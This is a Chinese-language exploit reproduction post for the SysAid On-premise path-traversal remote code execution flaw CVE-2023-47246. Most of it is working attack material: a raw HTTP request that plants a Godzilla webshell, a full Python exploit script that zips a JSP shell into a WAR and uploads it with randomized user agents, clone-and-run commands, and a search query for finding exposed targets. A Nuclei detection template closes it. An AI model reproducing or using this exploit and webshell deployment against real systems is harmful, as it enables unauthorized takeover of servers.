漏洞复现--SysAid On-premise远程代码执行(CVE-2023-47246)

免责声明：

文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责

一：漏洞描述

SysAid On-premise 提供了诸如故障报告、资产管理、服务台支持、自动化流程等功能，以帮助 IT 团队更高效地工作。这种部署模式可以满足那些对数据安全性有更高要求的组织，同时也提供了更多的自定义和控制能力，以适应特定的业务需求和流程。该产品存在远程代码执行。

二：漏洞影响版本

version < 23.3.36

三：网络空间测绘查询

title="SysAid Help Desk Software"

四：漏洞复现

EXP:

POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
 
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注入哥斯拉马马

马儿URL
http://x.x.x.x/userfiles/index.jsp

五：漏洞利用

公开EXP：
https://github.com/W01fh4cker/CVE-2023-47246-EXP
EXP内容：

import argparse
import binascii
import random
import time
import zipfile
import zlib
import urllib3
import requests

urllib3.disable_warnings()

def compressFile(shellFile, warFile):
    try:
        with zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED) as zipf:
            zipf.write(shellFile)
        zipf.close()
        return True
    except:
        return False


def getHexData(warFile):
    with open(warFile, 'rb') as warfile:
        data = warfile.read()
    warfile.close()
    compressed_data = zlib.compress(data)
    hex_data = binascii.hexlify(compressed_data).decode()
    return hex_data


def generateRandomDirectoryName(num):
    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    return ''.join(random.choice(charset) for _ in range(num))


def get_random_agent():
    agent_list = [
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7',
        'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0',
        'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0',
        'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17',
        'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/51.0.2704.79 Chrome/51.0.2704.79 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7',
        'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0',
        'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50',
        'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/47.0',
        'Mozilla/5.0 (iPad; CPU OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G35 Safari/601.1',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
        'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/537.86.7',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48',
        'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;  Trident/5.0)',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48',
        'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',
        'Mozilla/5.0 (Windows NT 5.1; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
        'Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/52.0.2743.84 Mobile/13G35 Safari/601.1.46',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'
    ]
    return agent_list[random.randint(0, len(agent_list) - 1)]


def shellUpload(url, proxy, directoryName, shellFile):
    userEntryUrl = f"{url}/userentry?accountId=/../../../tomcat/webapps/{directoryName}/&symbolName=test&base64UserName=YWRtaW4="
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": get_random_agent()
    }
    shellFileName = shellFile.split(".")[0]
    warFile = f"{shellFileName}.war"
    if compressFile(shellFile, warFile):
        shellHex = getHexData(warFile=warFile)
        data = binascii.unhexlify(shellHex)
        resp = requests.post(url=userEntryUrl, headers=headers, data=data, proxies=proxy, verify=False)
        print("\033[92m[+] Shell file compressed successfully!\033[0m")
        return resp
    else:
        print("\033[91m[x] Shell file compression failed.\033[0m")
        exit(0)


def shellTest(url, proxy, directoryName, shellFile):
    userEntryUrl = f"{url}/{directoryName}/{shellFile}"
    headers = {
        "User-Agent": get_random_agent()
    }
    resp = requests.get(url=userEntryUrl, headers=headers, timeout=15, proxies=proxy, verify=False)
    return resp, userEntryUrl

def exploit(url, proxy, shellFile):
    print(f"\033[94m[*] start to attack: {url}\033[0m")
    directoryName = generateRandomDirectoryName(5)
    userentryResp = shellUpload(url, proxy, directoryName, shellFile)
    print(f"\033[94m[*] Wait 9 seconds...\033[0m")
    time.sleep(9)
    cveTestResp, userEntryUrl = shellTest(url, proxy, directoryName, shellFile)
    if userentryResp.status_code == 200 and cveTestResp.status_code == 200:
        print(f"\033[92m[+] The website [{url}] has vulnerability CVE-2023-47246! Shell path: {userEntryUrl}\033[0m")
    else:
        print(f"\033[91m[x] The website [{url}] has no vulnerability CVE-2023-47246.\033[0m")


if __name__ == "__main__":
    banner = """
  ______     _______     ____   ___ ____  _____       _  _ _____ ____  _  _    __   
 / ___\ \   / / ____|   |___ \ / _ \___ \|___ /      | || |___  |___ \| || |  / /_  
| |    \ \ / /|  _| _____ __) | | | |__) | |_ \ _____| || |_ / /  __) | || |_| '_ \ 
| |___  \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__   _/ /  / __/|__   _| (_) |
 \____|  \_/  |_____|   |_____|\___/_____|____/         |_|/_/  |_____|  |_|  \___/ 
                                                                                Author: W01fh4cker
                                                                                Blog: https://w01fh4cker.github.io
        """
    print(banner)
    parser = argparse.ArgumentParser(description="SysAid Server remote code execution vulnerability CVE-2023-47246 Written By W01fh4cker",
        add_help="eg: python CVE-2023-47246-RCE.py -u https://192.168.149.150:8443")
    parser.add_argument("-u", "--url", help="target URL")
    parser.add_argument("-p", "--proxy", help="proxy, eg: http://127.0.0.1:7890")
    parser.add_argument("-f", "--file", help="shell file, eg: shell.jsp")
    args = parser.parse_args()
    if args.url.endswith("/"):
        url = args.url[:-1]
    else:
        url = args.url
    if args.proxy:
        proxy = {
            'http': args.proxy,
            'https': args.proxy
        }
    else:
        proxy = {}
    exploit(url, proxy, args.file)

使用

git clone https://github.com/W01fh4cker/CVE-2023-47246-EXP.git
cd CVE-2023-47246-EXP
pip install -r requirements.txt
python CVE-2023-47246-EXP.py -u http://192.168.161.190:8443 -p http://127.0.0.1:8083 -f shell.jsp

六：批量检测


id: CVE-2023-47246

info:
  name: SysAid Server - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
  reference:
    - https://www.huntress.com/blog/critical-vulnerability-sysaid-cve-2023-47246
    - https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
    - https://www.rapid7.com/blog/post/2023/11/09/etr-cve-2023-47246-sysaid-zero-day-vulnerability-exploited-by-lace-tempest/
    - https://www.cisa.gov/news-events/alerts/2023/11/13/cisa-adds-six-known-exploited-vulnerabilities-catalog
    - https://documentation.sysaid.com/docs/latest-version-installation-files
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-47246
    cwe-id: CWE-22
    epss-score: 0.66797
    epss-percentile: 0.97617
    cpe: cpe:2.3:a:sysaid:sysaid_on-premises:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sysaid
    product: sysaid_on-premises
    shodan-query: http.favicon.hash:1540720428
    fofa-query: icon_hash="1540720428"
  tags: cve,cve2023,sysaid,rce,kev,traversal,intrusive
variables:
  directory: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /userentry?accountId=/../../../tomcat/webapps/{{directory}}/&symbolName=test&base64UserName=YWRtaW4= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{ hex_decode('789c0bf06666e16200819c8abcf02241510f4e201b84851864189cc35c758d0c8c8c754dcc8d4cccf44a2a4a42433819981fdb05a79e63f34b2dade0666064f9cac8c0c0023201a83a3ec43538842bc09b91498e1997b1126071a026862d8d506d1896b0422c41b320c09b950da2979121024887824d02000d3f1fcb') }}
      - |
        @timeout: 15
        GET /{{directory}}/CVE-2023-47246.txt?{{wait_for(9)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body_2,'CVE_TEST') && status_code_1==200 && status_code_2==200"
# digest: 490a004630440220473e18d50551e38c7664fa67cd90a3e4b61bd40e5baacd9648a82b78b592e62d02201470639175be80755dfeddf49cac067a89b6d009911ecce3a0d3b654649a855b:922c64590222798bb761d5b6d8e72950